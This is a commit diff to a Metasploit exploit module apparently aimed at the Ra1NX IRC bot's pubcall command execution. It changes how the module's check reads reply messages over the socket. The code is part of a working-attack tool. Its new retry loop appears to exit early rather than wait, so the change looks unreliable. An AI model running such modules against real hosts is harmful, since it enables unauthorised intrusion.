added a 3 message window for recieving the check response

modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb

@@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			return Exploit::CheckCode::Unknown
 		end
 		confirm_string = rand_text_alpha(8)
-		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
-		print response
+		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
 		quit(sock)
 		disconnect
 
@@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
 		end
 	end
 
-	def send_msg(sock, data)
+	def send_msg(sock, data, startResponse = nil)
 		sock.put(data)
 		data = ""
+		count = 3
+		begin
 			begin
 				read_data = sock.get_once(-1, 1)
 				while not read_data.nil?
 					data << read_data
 					read_data = sock.get_once(-1, 1)
 				end
+				if startResponse != nil and data.start_with?(startResponse)
+					startResponse = nil
+				end
+				count -= 1
+			end while startResponse == nil and count != 0
 		rescue EOFError
 		end
 		data